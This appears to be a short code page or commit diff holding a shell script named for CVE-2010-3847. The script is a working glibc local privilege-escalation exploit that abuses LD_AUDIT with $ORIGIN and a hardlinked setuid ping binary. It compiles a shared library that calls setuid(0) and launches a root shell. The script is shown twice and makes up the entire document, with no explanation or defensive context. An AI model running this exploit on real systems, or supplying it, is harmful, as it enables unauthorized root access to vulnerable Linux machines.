hamano · October 21, 2010 13:19
diff --git a/CVE-2010-3847.sh b/CVE-2010-3847.sh
 #!/bin/sh
 mkdir /tmp/exploit
 ln /bin/ping /tmp/exploit/target
 exec 999< /tmp/exploit/target
 rm -rf /tmp/exploit/
 echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' | gcc -w -fPIC -shared -o /tmp/exploit -xc -
 LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999
	#!/bin/sh
	mkdir /tmp/exploit
	ln /bin/ping /tmp/exploit/target
	exec 999< /tmp/exploit/target
	rm -rf /tmp/exploit/
	echo 'void __attribute__((constructor)) init(){setuid(0);system("/bin/bash");}' \| gcc -w -fPIC -shared -o /tmp/exploit -xc -
	LD_AUDIT="\$ORIGIN" exec /proc/self/fd/999